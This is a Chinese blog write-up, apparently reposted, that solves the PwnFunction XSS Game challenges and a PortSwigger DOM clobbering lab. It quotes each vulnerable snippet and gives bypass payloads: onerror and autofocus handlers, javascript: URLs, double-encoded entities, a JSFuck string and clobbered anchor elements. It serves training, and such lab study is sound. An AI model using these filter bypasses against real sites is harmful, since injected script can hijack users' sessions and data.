XSS和DOM破坏案例

XSS案例

环境地址:XSS Game - Learning XSS Made Simple! | Created by PwnFunction

1.Ma Spaghet!

源码:

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

在script标签里边,使用get传参的方式给somebody传一个值,如果没有传值,默认传Somebody+Toucha Ma Spaghet!,然后赋值给spaghet,放在h2标签中,这里的spaghet后边加了一个innerHTMl的属性

script看似插入进去了,但是不会执行,我们换img

 2.Jefff

源码:

 

<!-- Challenge -->
<h2 id="maname"></h2>
<script>let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")let ma = ""eval(`ma = "Ma name ${jeff}"`)setTimeout(_ => {maname.innerText = ma}, 1000)
</script>

 这里首先使用get传参的方式,给jeff一个值,将值传给let jeff,变量ma然后执行Ma name +jeff传入的值,setTimeout是延时执行ma,这里的ma带了一个ineerText的属性。它不会去渲染我们的css样式,意思就是我们在加什么标签之类的东西都不会起效果。所以我们这里只能换一种思路,它不能加标签,那我们看能不能直接闭合ma,之后执行我们的代码

 3.Ugandan Knuckles

 源码:

<!-- Challenge -->
<div id="uganda"></div>
<script>let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");wey = wey.replace(/[<>]/g, '')uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

 首先是传给wey一个值,然后赋值给变量let wey,然后这里过滤了<>尖括号,最后将我们的变量wey内容传给Uganda,显示在输入框中,Uganda也带一个inner HTML的属性,所以我们不能使用script标签,可以使用onfocus和autofucus

4. Ricardo Milos

源码:

<!-- Challenge -->
<form id="ricardo" method="GET"><input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')setTimeout(_ => {ricardo.submit()}, 2000)
</script>

 使用get方式传参,传一个值给Ricardo,submit提交将我们传入的值过两秒传给Ricardo。action是他接受的一个伪协议,这里就可以使用JavaScript

 

 5.Ah That's Hawt

源码:

<!-- Challenge -->
<h2 id="will"></h2>
<script>smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")smith = smith.replace(/[\(\`\)\\]/g, '')will.innerHTML = smith
</script>

 将()\ 和反引号过滤 转化为空,这里也有inner HTML,所以script也不能用了,试一下用img的报错实现,因为我们的括号被过滤,我们可以试下使用实体编码进行绕过

 

 url在传参时,会将我们的特殊符号进行解码,但我们传递的是html的实体编码,所以问题出现在了这里,那么我们再将实体编码再进行次url编码

 6.Ligma

源码:

/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

这里过滤了大小写和数字时,可以使用jsfuck

 这里+在url传参时,会解码为空格,所以我们要对这些符号再次编码

?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B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B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%5B%2B%5B%5D%5D%2B%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29

7. Mafia

 源码:

/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

 还是get方式传参,但是限制我们传入的参数长度最大为50个字节,而且过滤了一大堆东西,最后执行mafia,但是他过滤了符号和alert函数,但是没有过滤confirm 函数

8. Ok, Boomer

 源码:

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")setTimeout(ok, 2000)
</script>

 通过get参数将内容写入h2标签内,而且有过滤框架DOMPurify,但是setTimeout函数内的ok参数这里的JS代码是没有任何关于ok参数的定义的,所以我们可以使用DOM破坏

查看源代码可以发现这个框架

 

目录

XSS案例

1.Ma Spaghet!

 2.Jefff

 3.Ugandan Knuckles

4. Ricardo Milos

 5.Ah That's Hawt

 6.Ligma

7. Mafia

8. Ok, Boomer

DOM破坏


DOM破坏

 环境地址:DOM clobbering | Web Security Academy (portswigger.net)

 

 

 

 首先我们先查看它的源代码,对其JS文件进行分析,在loadCommentsWithDomClobbering.js文件中头像这里可以看到,如果window.defaultAvatar有头像就会使用这个头像,如果没有就会使用avatar默认的头像。所以可以使用DOM破坏来控制window.defaultAvatar,只要原来没有头像就可以构造defaultAvatar.avatar来进行xss。

 根据分析,这是一个两层的层级关系,就可以使用HTMLCollection。但是defaultAvatar.avatar是没有escapeHTML这个函数进行过滤,所以要对src进行闭合双引号,进行一个onerro提交。

这里注意双引号需要进行URL编码,但是URL编码的话浏览器会报错,所以将其进行实体编码

<a id=defaultAvatar> <a id=defaultAvatar name=avatar href="1:&quot;οnerrοr=alert(1)//">

 提交后可以看到并没有将数据拿出来,F12去查看它的img标签的变化,可以看到双引号依然进行了URL编码

 我们尝试使用伪协议

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;οnerrοr=alert(1)//">

 

 可以看到,已经成功了,再去看一下img,有了这个cid之后它进行正常编码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/402833.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python爬虫——某网站的视频数据

一、选题背景 1.背景 随着大数据时代的来临&#xff0c;网络爬虫在互联网中的地位将越来越重要。互联网中的数据是海量的&#xff0c;如何自动高效地获取互联网中我们感兴趣的信息并为我们所用是一个重要的问题&#xff0c;而爬虫技术就是为了解决这些问题而生的。对于身为数据…

【业务场景实战】你知道布隆过滤器怎么用吗?

布隆过滤器想必大家都听过&#xff0c;背过Redis面试题的兄弟应该都知道&#xff0c;布隆过滤器是解决缓存穿透问题的一种方法。但可能很少用过 布隆过滤器主要是为了解决海量数据的存在性问题。对于海量数据中判定某个数据是否存在且容忍轻微误差这一场景&#xff08;比如缓存…

03 网络编程 TCP传输控制协议

目录 1、TCP基本特征 2、TCP通信流程基本原理 &#xff08;1&#xff09;基本原理 &#xff08;2&#xff09;TCP通信代码实现 &#xff08;3&#xff09;核心API解析 1&#xff09;地址绑定--bind 2)设置监听-listen 3)等待连接请求-accept-产生一个已连接套接字 4&a…

Transformer2

1.编解码 外国人来到中国&#xff0c;是如何知晓“梨”的中文&#xff1f; 相同的词&#xff0c;上下文应该都是相关的&#xff0c;又因为是计算机&#xff0c;所以需要将语义关系码进行数字化&#xff0c;这些数字需要体现出语义关系。 1.编解码的两个标准 编解码的两个标准包…

复习之 java 锁

裁员在家&#xff0c;没有面试机会&#xff0c;整理整理面试知识点吧&#xff01; 不得不知道的java 锁 Java 中&#xff0c;提供了两种方式来实现同步互斥访问&#xff08;也就是锁&#xff09;&#xff1a;synchronized 和 Lock 多线程编程中&#xff0c;有可能会出现多个线…

基于YOLOv8的缺陷检测任务模型训练

文章目录 一、引言二、环境说明三、缺陷检测任务模型训练详解3.1 PCB数据集3.1.1 数据集简介3.1.2 数据集下载3.1.3 构建yolo格式的数据集 3.2 基于ultralytics训练YOLOv83.2.1 安装依赖包3.2.2 ultralytics的训练规范说明3.2.3 创建训练配置文件3.2.4 下载预训练模型3.2.5 训练…

招聘|头部云厂商招 PG 核心骨干 DBA【上海】

我们的招聘专区又回来了&#xff01;&#x1f3c3; Bytebase 作为先进的数据库 DevOps 团队协同工具 &#x1f527;&#xff0c;用户群里汇聚了 &#x1f497; 业界优秀的 DBA&#xff0c;SRE&#xff0c;运维的同学们 &#x1f31f;。 上周用户群里有小伙伴发招聘信息 &…

webrtc学习笔记1

WebRTC开发环境 配置vscode 安装插件 Prettier Code Formatter 使用 Prettier 来统一代码风格&#xff0c;当保存 HTML/CSS/JavaScript 文件时&#xff0c;它会自动调整代码格式。 Live Server&#xff1a;在本地开发环境中&#xff0c;实时重新加载(reload)页面。 第一个简…

QT:Telnet客户端与服务器的创建

客户端 telnetClient类 #ifndef TELNETCLIENT_H #define TELNETCLIENT_H#include <QObject> #include <QTcpSocket>class TelnetClient : public QObject {Q_OBJECTpublic:explicit TelnetClient(QObject *parent nullptr);~TelnetClient();// 连接到指定的主机…

启发式算法之模拟退火算法

文章目录 1. 模拟退火算法概述1.1 算法起源与发展1.2 算法基本原理 2. 算法实现步骤2.1 初始化过程2.2 迭代与降温策略 3. 模拟退火算法的优化策略3.1 冷却进度表的设计3.2 参数调整与策略 4. 模拟退火算法的应用领域4.1 组合优化问题4.1.1 旅行商问题&#xff08;TSP&#xff…

YOLO好像也没那么难?

“学YOLO的念头是想整个游戏外挂&#xff01;” 目录 基本原理 模型推理 IOU交并比 NMS非极大值抑制 模型训练 损失函数LOSS 代码实现 YOLO学习渠道 基本原理 模型推理 学习一个新的神经网络结构&#xff0c;作者认为整明白输入和输出是怎么回事就OK了&#xff0c;至于…

HTML静态网页成品作业(HTML+CSS)——安徽宣笔设计制作(5个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有6个页面。 二、作品演示 三、代…

回调函数,字符函数,字符串函数

前言&#xff1a;上一趴我们学习了指针。那么今天我们来学习新的知识&#xff0c;回调函数&#xff0c;字符函数&#xff0c;字符串函数。 1 回调函数 什么是回调函数呢&#xff1f;回调函数就是通过函数指针调用的函数。 如果你把函数的指针&#xff08;地址&#xff09;作…

【Docker系列】Docker 容器时区设置指南

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

尚硅谷MYSQL(5-6章)

排序和分页 排序 如果没有使用排序操作的话 查询出来的数据是按添加的顺序排序的 ORDER BY是来进行排序的 后面可以添加ASC升序 DESC降序 如果后面没有显示指明排序的方式的话 则默认按照升序排序 where中不能使用列的别名 我们在使用sql语句的时候 她的执行顺序不是从第一…

FastCopy文件快速复制v5.7.15

软件介绍 FastCopy文件快速复制工具。Windows平台上最快的文件复制、删除软件&#xff01;功能强劲&#xff0c;性能优越&#xff01;它是源于日本的高效文件复制加速软件&#xff0c;支持拖拽操作&#xff0c;三种不同HDD模式&#xff1b;支持通配符&#xff0c;任务管理/命令…

微信小程序保存图片到相册

申请权限 代码如下 wx.downloadFile({url: image, //仅为示例&#xff0c;并非真实的资源success(res) {// 只要服务器有响应数据&#xff0c;就会把响应内容写入文件并进入 success 回调&#xff0c;业务需要自行判断是否下载到了想要的内容if (res.statusCode 200) {consol…

XSS Game练习

1.Ma Spaghet 直接get传参 ?somebodyaaaa直接使用img标签 ?somebody<img%20src1%20onerror"alert(1337)">官方文档 应使用innertext&#xff0c;安全性更高 2.Jefff 通过代码可以知道是通过eval的代码执行&#xff0c;setTimeout中的内容表示在一秒后执行…

uniapp预览图片uni.previewImage图片放大

<image v-if"file.image!" :src"file.image" click"previewImage(file.image)"></image>file: {image: ,status: 1}, // 预览 图片previewImage() {uni.previewImage({current: 1,urls: [this.img] // 是个 数组 单张的&#xff08…

JAVA打车小程序APP打车顺风车滴滴车跑腿源码微信小程序打车系统源码

&#x1f697;&#x1f4a8;打车、顺风车、滴滴车&跑腿系统&#xff0c;一键解决出行生活难题&#xff01; 一、出行新选择&#xff0c;打车从此不再难 忙碌的生活节奏&#xff0c;让我们常常需要快速、便捷的出行方式。打车、顺风车、滴滴车系统&#xff0c;正是为了满足…